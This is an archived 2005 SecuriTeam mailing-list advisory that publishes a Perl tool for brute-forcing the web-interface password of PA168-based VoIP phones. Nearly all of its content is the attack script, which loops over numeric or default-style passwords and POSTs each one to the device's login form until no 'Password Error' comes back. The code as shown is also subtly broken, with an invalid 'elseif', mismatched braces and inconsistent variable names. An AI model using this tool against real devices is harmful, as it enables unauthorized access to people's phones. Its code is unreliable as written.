

# [TOOL] PA168 Web Interface Password Brute Forcer

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0060.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/14/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 14 Aug 2005 17:37:42 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

PA168 Web Interface Password Brute Forcer

---

## SUMMARY

## DETAILS

The following tool can be used to "break" into PA168 based phone's password protected web interface by brute forcing the password.

Tool source:

```
#!/usr/bin/perl
```

```
# The following is a very simple password brute forcer for PA168 series of devices
```

```
# It is able to "break" into its web interface in a few seconds if you choose option 1, and your
```

```
# VoIP phone's password has not been changed
```

```
#
```

```
# Author: Noam Rathaus (noamr\[at.\]beyondsecurity.com)
```

```
use integer;
```

```
use IO::Socket;
```

```
use strict;
```

## Securiteam: [TOOL] PA168 Web Interface Password Brute Forcer

```
if (@ARGV < 3)
{
    print $0. " hostname port method first_password\n";
    print "\tHostname – The hostname or IP to test\n";
    print "\tPort – The port of the device\n";
    print "\tMethod – 0 for brute force, 1 for known passwords\n";
    print "\tFirst_password – The first password to test (i.e. if you stopped
    somewhere and want to resume, by default set to 1)\n";
    exit(0);
}

my $Host = shift;
my $Port = shift;
my $Method = shift;
my $remote;
my $Connection_Closed = 1;

print "Connected\n";

my $Password = 1;
my $Content = "";
my $Request = "";
my $LastPassword = shift;
if ($Method eq "1")
{
    $LastPassword = "1";
}
if ($LastPassword eq "")
{
    $LastPassword = 1;
}

my $Average = 0;
my $Count = 0;
my $StartTime = time;
my $CurrentTime = time;
my $CurrentPassword;
my $Passed;
for ($Password = $LastPassword; $Password < 123456789; $Password ++ )
{
    if ($Method)
    {
        if ($Count < 100)
        {
            if ($Count % 10 == 0)
            {
                $CurrentPassword = "";
            }

            $CurrentPassword .= $Count / 10;
        }
    }
}
```

Securiteam: [TOOL] PA168 Web Interface Password Brute Forcer

```
elseif ($Count == 100)
{
    $CurrentPassword = "";
}
else
{
    $CurrentPassword .= $Count - 100;
}
}
else
{
    $CurrentPassword = $Password;
}

$Count ++;
$CurrentTime = time;
$Passed = $CurrentTime - $StartTime + 1;
$Average = $Count / ($Passed);
print "Attempting password: $CurrentPassword ($Average passwd/scnd)\n";
my $PasswordError = 0;
if ($Connection_Closed)
{
    $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host,
PeerPort => $Port);
    unless ($remote) { die "cannot connect to http daemon on $Host" }
    $Connection_Closed = 0;
}

$Content = "auth=$CurrentPassword&login=+++Login+++";

$request = "POST /a HTTP/1.1\r
Host: $Host\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10)
Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2)\r
Accept: text/plain
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Referer: http://10.10.10.110/\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: ". length($Content) ."\r
\r
$Content";

print $remote $request;
my $incoming;
while ($incoming = <$remote>)
{
    if ($incoming =~ /Connection: (C|c)lose/)

```

Securiteam: [TOOL] PA168 Web Interface Password Brute Forcer

```
{
$Connection_Closed = 1;
}
if ($Incoming =~ /Password Error/)
{
$PasswordError = 1;
last;
}
}
if ($Connection_Closed)
{
close ($remote);
}
if (!$PasswordError)
{
print "Password found: $CurrentPassword\n";
last;
}
}
```

ADDITIONAL INFORMATION

The information has been provided by Noam Rathaus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.